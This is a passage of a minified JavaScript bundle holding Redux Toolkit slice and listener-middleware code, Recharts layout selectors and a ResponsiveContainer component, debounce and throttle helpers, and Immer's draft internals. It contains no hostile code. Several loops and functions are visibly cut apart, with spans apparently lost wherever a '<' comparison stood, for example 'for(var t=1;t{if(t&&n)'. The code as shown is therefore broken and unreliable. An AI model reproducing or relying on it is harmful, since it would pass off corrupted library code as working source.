i.reducers=="function"?i.reducers(AO()):i.reducers)||{},c=Object.keys(l),u={sliceCaseReducersByName:{},sliceCaseReducersByType:{},actionCreators:{},sliceMatchers:[]},d={addCase(j,k){const S=typeof j=="string"?j:j.type;if(!S)throw new Error(on(12));if(S in u.sliceCaseReducersByType)throw new Error(on(13));return u.sliceCaseReducersByType[S]=k,d},addMatcher(j,k){return u.sliceMatchers.push({matcher:j,reducer:k}),d},exposeAction(j,k){return u.actionCreators[j]=k,d},exposeCaseReducer(j,k){return u.sliceCaseReducersByName[j]=k,d}};c.forEach(j=>{const k=l[j],S={reducerName:j,type:CO(a,j),createNotation:typeof i.reducers=="function"};OO(k)?MO(S,k,d,t):_O(S,k,d)});function f(){const[j={},k=[],S=void 0]=typeof i.extraReducers=="function"?$k(i.extraReducers):[i.extraReducers],N={...j,...u.sliceCaseReducersByType};return kO(i.initialState,z=>{for(let _ in N)z.addCase(_,N[_]);for(let _ of u.sliceMatchers)z.addMatcher(_.matcher,_.reducer);for(let _ of k)z.addMatcher(_.matcher,_.reducer);S&&z.addDefaultCase(S)})}const m=j=>j,h=new Map,x=new WeakMap;let g;function y(j,k){return g||(g=f()),g(j,k)}function v(){return g||(g=f()),g.getInitialState()}function b(j,k=!1){function S(z){let _=z[j];return typeof _>"u"&&k&&(_=Ll(x,S,v)),_}function N(z=m){const _=Ll(h,k,()=>new WeakMap);return Ll(_,z,()=>{const A={};for(const[O,P]of Object.entries(i.selectors??{}))A[O]=EO(P,z,()=>Ll(x,z,v),k);return A})}return{reducerPath:j,getSelectors:N,get selectors(){return N(S)},selectSlice:S}}const w={name:a,reducer:y,actions:u.actionCreators,caseReducers:u.sliceCaseReducersByName,getInitialState:v,...b(o),injectInto(j,{reducerPath:k,...S}={}){const N=k??o;return j.inject({reducerPath:N,reducer:y},S),{...w,...b(N,!0)}}};return w}}function EO(e,t,n,r){function i(a,...o){let l=t(a);return typeof l>"u"&&r&&(l=n()),e(l,...o)}return i.unwrapped=e,i}var Xt=PO();function AO(){function e(t,n){return{_reducerDefinitionType:"asyncThunk",payloadCreator:t,...n}}return e.withTypes=()=>e,{reducer(t){return Object.assign({[t.name](...n){return t(...n)}}[t.name],{_reducerDefinitionType:"reducer"})},preparedReducer(t,n){return{_reducerDefinitionType:"reducerWithPrepare",prepare:t,reducer:n}},asyncThunk:e}}function _O({type:e,reducerName:t,createNotation:n},r,i){let a,o;if("reducer"in r){if(n&&!TO(r))throw new Error(on(17));a=r.reducer,o=r.prepare}else a=r;i.addCase(e,a).exposeCaseReducer(t,a).exposeAction(t,o?zn(e,o):zn(e))}function OO(e){return e._reducerDefinitionType==="asyncThunk"}function TO(e){return e._reducerDefinitionType==="reducerWithPrepare"}function MO({type:e,reducerName:t},n,r,i){if(!i)throw new Error(on(18));const{payloadCreator:a,fulfilled:o,pending:l,rejected:c,settled:u,options:d}=n,f=i(e,a,d);r.exposeAction(t,f),o&&r.addCase(f.fulfilled,o),l&&r.addCase(f.pending,l),c&&r.addCase(f.rejected,c),u&&r.addMatcher(f.settled,u),r.exposeCaseReducer(t,{fulfilled:o||Il,pending:l||Il,rejected:c||Il,settled:u||Il})}function Il(){}var LO="task",Bk="listener",Fk="completed",Fx="cancelled",IO=`task-${Fx}`,DO=`task-${Fk}`,$m=`${Bk}-${Fx}`,RO=`${Bk}-${Fk}`,zd=class{constructor(e){vf(this,"name","TaskAbortError");vf(this,"message");this.code=e,this.message=`${LO} ${Fx} (reason: ${e})`}},Wx=(e,t)=>{if(typeof e!="function")throw new TypeError(on(32))},iu=()=>{},Wk=(e,t=iu)=>(e.catch(t),e),Uk=(e,t)=>(e.addEventListener("abort",t,{once:!0}),()=>e.removeEventListener("abort",t)),Ui=e=>{if(e.aborted)throw new zd(e.reason)};function Vk(e,t){let n=iu;return new Promise((r,i)=>{const a=()=>i(new zd(e.reason));if(e.aborted){a();return}n=Uk(e,a),t.finally(()=>n()).then(r,i)}).finally(()=>{n=iu})}var $O=async(e,t)=>{try{return await Promise.resolve(),{status:"ok",value:await e()}}catch(n){return{status:n instanceof zd?"cancelled":"rejected",error:n}}finally{t==null||t()}},au=e=>t=>Wk(Vk(e,t).then(n=>(Ui(e),n))),Hk=e=>{const t=au(e);return n=>t(new Promise(r=>setTimeout(r,n)))},{assign:$a}=Object,xy={},Cd="listenerMiddleware",BO=(e,t)=>{const n=r=>Uk(e,()=>r.abort(e.reason));return(r,i)=>{Wx(r);const a=new AbortController;n(a);const o=$O(async()=>{Ui(e),Ui(a.signal);const l=await r({pause:au(a.signal),delay:Hk(a.signal),signal:a.signal});return Ui(a.signal),l},()=>a.abort(DO));return i!=null&&i.autoJoin&&t.push(o.catch(iu)),{result:au(e)(o),cancel(){a.abort(IO)}}}},FO=(e,t)=>{const n=async(r,i)=>{Ui(t);let a=()=>{};const l=[new Promise((c,u)=>{let d=e({predicate:r,effect:(f,m)=>{m.unsubscribe(),c([f,m.getState(),m.getOriginalState()])}});a=()=>{d(),u()}})];i!=null&&l.push(new Promise(c=>setTimeout(c,i,null)));try{const c=await Vk(t,Promise.race(l));return Ui(t),c}finally{a()}};return(r,i)=>Wk(n(r,i))},Kk=e=>{let{type:t,actionCreator:n,matcher:r,predicate:i,effect:a}=e;if(t)i=zn(t).match;else if(n)t=n.type,i=n.match;else if(r)i=r;else if(!i)throw new Error(on(21));return Wx(a),{predicate:i,type:t,effect:a}},qk=$a(e=>{const{type:t,predicate:n,effect:r}=Kk(e);return{id:SO(),effect:r,type:t,predicate:n,pending:new Set,unsubscribe:()=>{throw new Error(on(22))}}},{withTypes:()=>qk}),vy=(e,t)=>{const{type:n,effect:r,predicate:i}=Kk(t);return Array.from(e.values()).find(a=>(typeof n=="string"?a.type===n:a.predicate===i)&&a.effect===r)},Bm=e=>{e.pending.forEach(t=>{t.abort($m)})},WO=(e,t)=>()=>{for(const n of t.keys())Bm(n);e.clear()},gy=(e,t,n)=>{try{e(t,n)}catch(r){setTimeout(()=>{throw r},0)}},Yk=$a(zn(`${Cd}/add`),{withTypes:()=>Yk}),UO=zn(`${Cd}/removeAll`),Gk=$a(zn(`${Cd}/remove`),{withTypes:()=>Gk}),VO=(...e)=>{console.error(`${Cd}/error`,...e)},Zo=(e={})=>{const t=new Map,n=new Map,r=h=>{const x=n.get(h)??0;n.set(h,x+1)},i=h=>{const x=n.get(h)??1;x===1?n.delete(h):n.set(h,x-1)},{extra:a,onError:o=VO}=e;Wx(o);const l=h=>(h.unsubscribe=()=>t.delete(h.id),t.set(h.id,h),x=>{h.unsubscribe(),x!=null&&x.cancelActive&&Bm(h)}),c=h=>{const x=vy(t,h)??qk(h);return l(x)};$a(c,{withTypes:()=>c});const u=h=>{const x=vy(t,h);return x&&(x.unsubscribe(),h.cancelActive&&Bm(x)),!!x};$a(u,{withTypes:()=>u});const d=async(h,x,g,y)=>{const v=new AbortController,b=FO(c,v.signal),w=[];try{h.pending.add(v),r(h),await Promise.resolve(h.effect(x,$a({},g,{getOriginalState:y,condition:(j,k)=>b(j,k).then(Boolean),take:b,delay:Hk(v.signal),pause:au(v.signal),extra:a,signal:v.signal,fork:BO(v.signal,w),unsubscribe:h.unsubscribe,subscribe:()=>{t.set(h.id,h)},cancelActiveListeners:()=>{h.pending.forEach((j,k,S)=>{j!==v&&(j.abort($m),S.delete(j))})},cancel:()=>{v.abort($m),h.pending.delete(v)},throwIfCancelled:()=>{Ui(v.signal)}})))}catch(j){j instanceof zd||gy(o,j,{raisedBy:"effect"})}finally{await Promise.all(w),v.abort(RO),i(h),h.pending.delete(v)}},f=WO(t,n);return{middleware:h=>x=>g=>{if(!Nk(g))return x(g);if(Yk.match(g))return c(g.payload);if(UO.match(g)){f();return}if(Gk.match(g))return u(g.payload);let y=h.getState();const v=()=>{if(y===xy)throw new Error(on(23));return y};let b;try{if(b=x(g),t.size>0){const w=h.getState(),j=Array.from(t.values());for(const k of j){let S=!1;try{S=k.predicate(g,w,y)}catch(N){S=!1,gy(o,N,{raisedBy:"predicate"})}S&&d(k,g,h,v)}}}finally{y=xy}return b},startListening:c,stopListening:u,clearListeners:f}};function on(e){return`Minified Redux Toolkit error #${e}; visit https://redux-toolkit.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var HO={layoutType:"horizontal",width:0,height:0,margin:{top:5,right:5,bottom:5,left:5},scale:1},Xk=Xt({name:"chartLayout",initialState:HO,reducers:{setLayout(e,t){e.layoutType=t.payload},setChartSize(e,t){e.width=t.payload.width,e.height=t.payload.height},setMargin(e,t){var n,r,i,a;e.margin.top=(n=t.payload.top)!==null&&n!==void 0?n:0,e.margin.right=(r=t.payload.right)!==null&&r!==void 0?r:0,e.margin.bottom=(i=t.payload.bottom)!==null&&i!==void 0?i:0,e.margin.left=(a=t.payload.left)!==null&&a!==void 0?a:0},setScale(e,t){e.scale=t.payload}}}),{setMargin:KO,setLayout:qO,setChartSize:YO,setScale:GO}=Xk.actions,XO=Xk.reducer;function Zk(e,t,n){return Array.isArray(e)&&e&&t+n!==0?e.slice(t,n+1):e}function ze(e){return Number.isFinite(e)}function vi(e){return typeof e=="number"&&e>0&&Number.isFinite(e)}function yy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Aa(e){for(var t=1;t{if(t&&n){var{width:r,height:i}=n,{align:a,verticalAlign:o,layout:l}=t;if((l==="vertical"||l==="horizontal"&&o==="middle")&&a!=="center"&&he(e[a]))return Aa(Aa({},e),{},{[a]:e[a]+(r||0)});if((l==="horizontal"||l==="vertical"&&a==="center")&&o!=="middle"&&he(e[o]))return Aa(Aa({},e),{},{[o]:e[o]+(i||0)})}return e},fr=(e,t)=>e==="horizontal"&&t==="xAxis"||e==="vertical"&&t==="yAxis"||e==="centric"&&t==="angleAxis"||e==="radial"&&t==="radiusAxis",tT=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(u[0]=a,a+=m,u[1]=a):(u[0]=o,o+=m,u[1]=o)}}}},nT=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(c[0]=a,a+=u,c[1]=a):(c[0]=0,c[1]=0)}}}},rT={sign:tT,expand:H_,none:ea,silhouette:K_,wiggle:q_,positive:nT},iT=(e,t,n)=>{var r,i=(r=rT[n])!==null&&r!==void 0?r:ea,a=V_().keys(t).value((l,c)=>Number(Fe(l,c,0))).order(Em).offset(i),o=a(e);return o.forEach((l,c)=>{l.forEach((u,d)=>{var f=Fe(e[d],t[c],0);Array.isArray(f)&&f.length===2&&he(f[0])&&he(f[1])&&(u[0]=f[0],u[1]=f[1])})}),o};function aT(e){return e==null?void 0:String(e)}function by(e){var{axis:t,ticks:n,bandSize:r,entry:i,index:a,dataKey:o}=e;if(t.type==="category"){if(!t.allowDuplicatedCategory&&t.dataKey&&!Pt(i[t.dataKey])){var l=Uj(n,"value",i[t.dataKey]);if(l)return l.coordinate+r/2}return n!=null&&n[a]?n[a].coordinate+r/2:null}var c=Fe(i,Pt(o)?t.dataKey:o),u=t.scale.map(c);return he(u)?u:null}var sT=e=>{var t=e.flat(2).filter(he);return[Math.min(...t),Math.max(...t)]},oT=e=>[e[0]===1/0?0:e[0],e[1]===-1/0?0:e[1]],lT=(e,t,n)=>{if(e!=null)return oT(Object.keys(e).reduce((r,i)=>{var a=e[i];if(!a)return r;var{stackedData:o}=a,l=o.reduce((c,u)=>{var d=Zk(u,t,n),f=sT(d);return!ze(f[0])||!ze(f[1])?c:[Math.min(c[0],f[0]),Math.max(c[1],f[1])]},[1/0,-1/0]);return[Math.min(l[0],r[0]),Math.max(l[1],r[1])]},[1/0,-1/0]))},wy=/^dataMin[\s]*-[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,jy=/^dataMax[\s]*\+[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,su=(e,t,n)=>{if(e&&e.scale&&e.scale.bandwidth){var r=e.scale.bandwidth();if(!n||r>0)return r}if(e&&t&&t.length>=2){for(var i=gd(t,d=>d.coordinate),a=1/0,o=1,l=i.length;o{if(t==="horizontal")return e.chartX;if(t==="vertical")return e.chartY},uT=(e,t)=>t==="centric"?e.angle:e.radius,Rr=e=>e.layout.width,$r=e=>e.layout.height,dT=e=>e.layout.scale,Qk=e=>e.layout.margin,Ed=T(e=>e.cartesianAxis.xAxis,e=>Object.values(e)),Ad=T(e=>e.cartesianAxis.yAxis,e=>Object.values(e)),Jk="data-recharts-item-index",eN="data-recharts-item-id",Qo=60;function Ny(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Dl(e){for(var t=1;te.brush.height;function xT(e){var t=Ad(e);return t.reduce((n,r)=>{if(r.orientation==="left"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:Qo;return n+i}return n},0)}function vT(e){var t=Ad(e);return t.reduce((n,r)=>{if(r.orientation==="right"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:Qo;return n+i}return n},0)}function gT(e){var t=Ed(e);return t.reduce((n,r)=>r.orientation==="top"&&!r.mirror&&!r.hide?n+r.height:n,0)}function yT(e){var t=Ed(e);return t.reduce((n,r)=>r.orientation==="bottom"&&!r.mirror&&!r.hide?n+r.height:n,0)}var yt=T([Rr,$r,Qk,hT,xT,vT,gT,yT,wk,Y6],(e,t,n,r,i,a,o,l,c,u)=>{var d={left:(n.left||0)+i,right:(n.right||0)+a},f={top:(n.top||0)+o,bottom:(n.bottom||0)+l},m=Dl(Dl({},f),d),h=m.bottom;m.bottom+=r,m=eT(m,c,u);var x=e-m.left-m.right,g=t-m.top-m.bottom;return Dl(Dl({brushBottom:h},m),{},{width:Math.max(x,0),height:Math.max(g,0)})}),bT=T(yt,e=>({x:e.left,y:e.top,width:e.width,height:e.height}));T(Rr,$r,(e,t)=>({x:0,y:0,width:e,height:t}));var wT=p.createContext(null),Kn=()=>p.useContext(wT)!=null,_d=e=>e.brush,Od=T([_d,yt,Qk],(e,t,n)=>({height:e.height,x:he(e.x)?e.x:t.left,y:he(e.y)?e.y:t.top+t.height+t.brushBottom-((n==null?void 0:n.bottom)||0),width:he(e.width)?e.width:t.width})),tN={},nN={},rN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r,{signal:i,edges:a}={}){let o,l=null;const c=a!=null&&a.includes("leading"),u=a==null||a.includes("trailing"),d=()=>{l!==null&&(n.apply(o,l),o=void 0,l=null)},f=()=>{u&&d(),g()};let m=null;const h=()=>{m!=null&&clearTimeout(m),m=setTimeout(()=>{m=null,f()},r)},x=()=>{m!==null&&(clearTimeout(m),m=null)},g=()=>{x(),o=void 0,l=null},y=()=>{d()},v=function(...b){if(i!=null&&i.aborted)return;o=this,l=b;const w=m==null;h(),c&&w&&d()};return v.schedule=h,v.cancel=g,v.flush=y,i==null||i.addEventListener("abort",g,{once:!0}),v}e.debounce=t})(rN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=rN;function n(r,i=0,a={}){typeof a!="object"&&(a={});const{leading:o=!1,trailing:l=!0,maxWait:c}=a,u=Array(2);o&&(u[0]="leading"),l&&(u[1]="trailing");let d,f=null;const m=t.debounce(function(...g){d=r.apply(this,g),f=null},i,{edges:u}),h=function(...g){return c!=null&&(f===null&&(f=Date.now()),Date.now()-f>=c)?(d=r.apply(this,g),f=Date.now(),m.cancel(),m.schedule(),d):(m.apply(this,g),d)},x=()=>(m.flush(),d);return h.cancel=m.cancel,h.flush=x,h}e.debounce=n})(nN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=nN;function n(r,i=0,a={}){const{leading:o=!0,trailing:l=!0}=a;return t.debounce(r,i,{leading:o,maxWait:i,trailing:l})}e.throttle=n})(tN);var jT=tN.throttle;const kT=Lr(jT);var Sy=function(t,n){for(var r=arguments.length,i=new Array(r>2?r-2:0),a=2;ai[o++]))}},rr={width:"100%",height:"100%",debounce:0,minWidth:0,initialDimension:{width:-1,height:-1}},iN=(e,t,n)=>{var{width:r=rr.width,height:i=rr.height,aspect:a,maxHeight:o}=n,l=ta(r)?e:Number(r),c=ta(i)?t:Number(i);return a&&a>0&&(l?c=l/a:c&&(l=c*a),o&&c!=null&&c>o&&(c=o)),{calculatedWidth:l,calculatedHeight:c}},NT={width:0,height:0,overflow:"visible"},ST={width:0,overflowX:"visible"},zT={height:0,overflowY:"visible"},CT={},PT=e=>{var{width:t,height:n}=e,r=ta(t),i=ta(n);return r&&i?NT:r?ST:i?zT:CT};function ET(e){var{width:t,height:n,aspect:r}=e,i=t,a=n;return i===void 0&&a===void 0?(i=rr.width,a=rr.height):i===void 0?i=r&&r>0?void 0:rr.width:a===void 0&&(a=r&&r>0?void 0:rr.height),{width:i,height:a}}function Fm(){return Fm=Object.assign?Object.assign.bind():function(e){for(var t=1;t({width:n,height:r}),[n,r]);return TT(i)?p.createElement(aN.Provider,{value:i},t):null}var Ux=()=>p.useContext(aN),MT=p.forwardRef((e,t)=>{var{aspect:n,initialDimension:r=rr.initialDimension,width:i,height:a,minWidth:o=rr.minWidth,minHeight:l,maxHeight:c,children:u,debounce:d=rr.debounce,id:f,className:m,onResize:h,style:x={}}=e,g=p.useRef(null),y=p.useRef();y.current=h,p.useImperativeHandle(t,()=>g.current);var[v,b]=p.useState({containerWidth:r.width,containerHeight:r.height}),w=p.useCallback((z,_)=>{b(A=>{var O=Math.round(z),P=Math.round(_);return A.containerWidth===O&&A.containerHeight===P?A:{containerWidth:O,containerHeight:P}})},[]);p.useEffect(()=>{if(g.current==null||typeof ResizeObserver>"u")return cs;var z=P=>{var I,U=P[0];if(U!=null){var{width:D,height:M}=U.contentRect;w(D,M),(I=y.current)===null||I===void 0||I.call(y,D,M)}};d>0&&(z=kT(z,d,{trailing:!0,leading:!1}));var _=new ResizeObserver(z),{width:A,height:O}=g.current.getBoundingClientRect();return w(A,O),_.observe(g.current),()=>{_.disconnect()}},[w,d]);var{containerWidth:j,containerHeight:k}=v;Sy(!n||n>0,"The aspect(%s) must be greater than zero.",n);var{calculatedWidth:S,calculatedHeight:N}=iN(j,k,{width:i,height:a,aspect:n,maxHeight:c});return Sy(S!=null&&S>0||N!=null&&N>0,`The width(%s) and height(%s) of chart should be greater than 0, please check the style of container, or the props width(%s) and height(%s), or add a minWidth(%s) or minHeight(%s) or use aspect(%s) to control the height and width.`,S,N,i,a,o,l,n),p.createElement("div",{id:f?"".concat(f):void 0,className:Xe("recharts-responsive-container",m),style:Cy(Cy({},x),{},{width:i,height:a,minWidth:o,minHeight:l,maxHeight:c}),ref:g},p.createElement("div",{style:PT({width:i,height:a})},p.createElement(sN,{width:S,height:N},u)))}),Py=p.forwardRef((e,t)=>{var n=Ux();if(vi(n.width)&&vi(n.height))return e.children;var{width:r,height:i}=ET({width:e.width,height:e.height,aspect:e.aspect}),{calculatedWidth:a,calculatedHeight:o}=iN(void 0,void 0,{width:r,height:i,aspect:e.aspect,maxHeight:e.maxHeight});return he(a)&&he(o)?p.createElement(sN,{width:a,height:o},e.children):p.createElement(MT,Fm({},e,{width:r,height:i,ref:t}))});function Vx(e){if(e)return{x:e.x,y:e.y,upperWidth:"upperWidth"in e?e.upperWidth:e.width,lowerWidth:"lowerWidth"in e?e.lowerWidth:e.width,width:e.width,height:e.height}}var Td=()=>{var e,t=Kn(),n=ye(bT),r=ye(Od),i=(e=ye(_d))===null||e===void 0?void 0:e.padding;return!t||!r||!i?n:{width:r.width-i.left-i.right,height:r.height-i.top-i.bottom,x:i.left,y:i.top}},LT={top:0,bottom:0,left:0,right:0,width:0,height:0,brushBottom:0},IT=()=>{var e;return(e=ye(yt))!==null&&e!==void 0?e:LT},DT=()=>ye(Rr),RT=()=>ye($r),Me=e=>e.layout.layoutType,us=()=>ye(Me),$T=()=>{var e=us();if(e==="horizontal"||e==="vertical")return e},oN=e=>{var t=e.layout.layoutType;if(t==="centric"||t==="radial")return t},BT=()=>{var e=us();return e!==void 0},Jo=e=>{var t=it(),n=Kn(),{width:r,height:i}=e,a=Ux(),o=r,l=i;return a&&(o=a.width>0?a.width:r,l=a.height>0?a.height:i),p.useEffect(()=>{!n&&vi(o)&&vi(l)&&t(YO({width:o,height:l}))},[t,n,o,l]),null},lN=Symbol.for("immer-nothing"),Ey=Symbol.for("immer-draftable"),cn=Symbol.for("immer-state");function Dn(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Oo=Object.getPrototypeOf;function Qa(e){return!!e&&!!e[cn]}function ra(e){var t;return e?cN(e)||Array.isArray(e)||!!e[Ey]||!!((t=e.constructor)!=null&&t[Ey])||el(e)||Ld(e):!1}var FT=Object.prototype.constructor.toString(),Ay=new WeakMap;function cN(e){if(!e||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);if(t===null||t===Object.prototype)return!0;const n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;if(n===Object)return!0;if(typeof n!="function")return!1;let r=Ay.get(n);return r===void 0&&(r=Function.toString.call(n),Ay.set(n,r)),r===FT}function ou(e,t,n=!0){Md(e)===0?(n?Reflect.ownKeys(e):Object.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Md(e){const t=e[cn];return t?t.type_:Array.isArray(e)?1:el(e)?2:Ld(e)?3:0}function Wm(e,t){return Md(e)===2?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function uN(e,t,n){const r=Md(e);r===2?e.set(t,n):r===3?e.add(n):e[t]=n}function WT(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}function el(e){return e instanceof Map}function Ld(e){return e instanceof Set}function Oi(e){return e.copy_||e.base_}function Um(e,t){if(el(e))return new Map(e);if(Ld(e))return new Set(e);if(Array.isArray(e))return Array.prototype.slice.call(e);const n=cN(e);if(t===!0||t==="class_only"&&!n){const r=Object.getOwnPropertyDescriptors(e);delete r[cn];let i=Reflect.ownKeys(r);for(let a=0;a1&&Object.defineProperties(e,{set:Rl,add:Rl,clear:Rl,delete:Rl}),Object.freeze(e),t&&Object.values(e).forEach(n=>Hx(n,!0))),e}function UT(){Dn(2)}var Rl={value:UT};function Id(e){return e===null||typeof e!="object"?!0:Object.isFrozen(e)}var VT={};function ia(e){const t=VT[e];return t||Dn(0,e),t}var To;function dN(){return To}function HT(e,t){return{drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0}}function _y(e,t){t&&(ia("Patches"),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function Vm(e){Hm(e),e.drafts_.forEach(KT),e.drafts_=null}function Hm(e){e===To&&(To=e.parent_)}function Oy(e){return To=HT(To,e)}function KT(e){const t=e[cn];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function Ty(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];return e!==void 0&&e!==n?(n[cn].modified_&&(Vm(t),Dn(4)),ra(e)&&(e=lu(t,e),t.parent_||cu(t,e)),t.patches_&&ia("Patches").generateReplacementPatches_(n[cn].base_,e,t.patches_,t.inversePatches_)):e=lu(t,n,[]),Vm(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==lN?e:void 0}function lu(e,t,n){if(Id(t))return t;const r=e.immer_.shouldUseStrictIteration(),i=t[cn];if(!i)return ou(t,(a,o)=>My(e,i,t,a,o,n),r),t;if(i.scope_!==e)return t;if(!i.modified_)return cu(e,i.base_,!0),i.base_;if(!i.finalized_){i.finalized_=!0,i.scope_.unfinalizedDrafts_--;const a=i.copy_;let o=a,l=!1;i.type_===3&&(o=new Set(a),a.clear(),l=!0),ou(o,(c,u)=>My(e,i,a,c,u,n,l),r),cu(e,a,!1),n&&e.patches_&&ia("Patches").generatePatches_(i,n,e.patches_,e.inversePatches_)}return i.copy_}function My(e,t,n,r,i,a,o){if(i==null||typeof i!="object"&&!o)return;const l=Id(i);if(!(l&&!o)){if(Qa(i)){const c=a&&t&&t.type_!==3&&!Wm(t.assigned_,r)?a.concat(r):void 0,u=lu(e,i,c);if(uN(n,r,u),Qa(u))e.canAutoFreeze_=!1;else return}else o&&n.add(i);if(ra(i)&&!l){if(!e.immer_.autoFreeze_&&e.unfinalizedDrafts_<1||t&&t.base_&&t.base_[r]===i&&l)return;lu(e,i),(!t||!t.scope_.parent_)&&typeof r!="symbol"&&(el(n)?n.has(r):Object.prototype.propertyIsEnumerable.call(n,r))&&cu(e,i)}}}function cu(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Hx(t,n)}function qT(e,t){const n=Array.isArray(e),r={type_:n?1:0,scope_:t?t.scope_:dN(),modified_:!1,finalized_:!1,assigned_:{},parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1};let i=r,a=Kx;n&&(i=[r],a=Mo);const{revoke:o,proxy:l}=Proxy.revocable(i,a);return r.draft_=l,r.revoke_=o,l}var Kx={get(e,t){if(t===cn)return e;const n=Oi(e);if(!Wm(n,t))return YT(e,n,t);const r=n[t];return e.finalized_||!ra(r)?r:r===tp(e.base_,t)?(np(e),e.copy_[t]=qm(r,e)):r},has(e,t){return t in Oi(e)},ownKeys(e){return Reflect.ownKeys(Oi(e))},set(e,t,n){const r=fN(Oi(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=tp(Oi(e),t),a=i==null?void 0:i[cn];if(a&&a.base_===n)return e.copy_[t]=n,e.assigned_[t]=!1,!0;if(WT(n,i)&&(n!==void 0||Wm(e.base_,t)))return!0;np(e),Km(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_[t]=!0),!0},deleteProperty(e,t){return tp(e.base_,t)!==void 0||t in e.base_?(e.assigned_[t]=!1,np(e),Km(e)):delete e.assigned_[t],e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Oi(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{writable:!0,configurable:e.type_!==1||t!=="length",enumerable:r.enumerable,value:n[t]}},defineProperty(){Dn(11)},getPrototypeOf(e){return Oo(e.base_)},setPrototypeOf(){Dn(12)}},Mo={};ou(Kx,(e,t)=>{Mo[e]=function(){return arguments[0]=arguments[0][0],t.apply(this,arguments)}});Mo.deleteProperty=function(e,t){return Mo.set.call(this,e,t,void 0)};Mo.set=function(e,t,n){return Kx.set.call(this,e[0],t,n,e[0])};function tp(e,t){const n=e[cn];return(n?Oi(n):e)[t]}function YT(e,t,n){var i;const r=fN(t,n);return r?"value"in r?r.value:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function fN(e,t){if(!(t in e))return;let n=Oo(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Oo(n)}}function Km(e){e.modified_||(e.modified_=!0,e.parent_&&Km(e.parent_))}function np(e){e.copy_||(e.copy_=Um(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var GT=class{constructor(e){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!0,this.produce=(t,n,r)=>{if(typeof t=="function"&&typeof n!="function"){const a=n;n=t;const o=this;return function(c=a,...u){return o.produce(c,d=>n.call(this,d,...u))}}typeof n!="function"&&Dn(6),r!==void 0&&typeof r!="function"&&Dn(7);let i;if(ra(t)){const a=Oy(this),o=qm(t,void 0);let l=!0;try{i=n(o),l=!1}finally{l?Vm(a):Hm(a)}return _y(a,r),Ty(i,a)}else if(!t||typeof t!="object"){if(i=n(t),i===void 0&&(i=t),i===lN&&(i=void 0),this.autoFreeze_&&Hx(i,!0),r){const a=[],o=[];ia("Patches").generateReplacementPatches_(t,i,a,o),r(a,o)}return i}else Dn(1,t)},this.produceWithPatches=(t,n)=>{if(typeof t=="function")return(o,...l)=>this.produceWithPatches(o,c=>t(c,...l));let r,i;return[this.produce(t,n,(o,l)=>{r=o,i=l}),r,i]},typeof(e==null?void 0:e.autoFreeze)=="boolean"&&this.setAutoFreeze(e.autoFreeze),typeof(e==null?void 0:e.useStrictShallowCopy)=="boolean"&&this.setUseStrictShallowCopy(e.useStrictShallowCopy),typeof(e==null?void 0:e.useStrictIteration)=="boolean"&&this.setUseStrictIteration(e.useStrictIteration)}createDraft(e){ra(e)||Dn(8),Qa(e)&&(e=XT(e));const t=Oy(this),n=qm(e,void 0);return n[cn].isManual_=!0,Hm(t),n}finishDraft(e,t){const n=e&&e[cn];(!n||!n.isManual_)&&Dn(9);const{scope_:r}=n;return _y(r,t),Ty(void 0,r)}setAutoFreeze(e){this.autoFreeze_=e}setUseStrictShallowCopy(e){this.useStrictShallowCopy_=e}setUseStrictIteration(e){this.useStrictIteration_=e}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(e,t){let n;for(n=t.length-1;n>=0;n--){const i=t[n];if(i.path.length===0&&i.op==="replace"){e=i.value;break}}n>-1&&(t=t.slice(n+1));const r=ia("Patches").applyPatches_;return Qa(e)?r(e,t):this.produce(e,i=>r(i,t))}};function qm(e,t){const n=el(e)?ia("MapSet").proxyMap_(e,t):Ld(e)?ia("MapSet").proxySet_(e,t):qT(e,t);return(t?t.scope_:dN()).drafts_.push(n),n}function XT(e){return Qa(e)||Dn(10,e),pN(e)}function 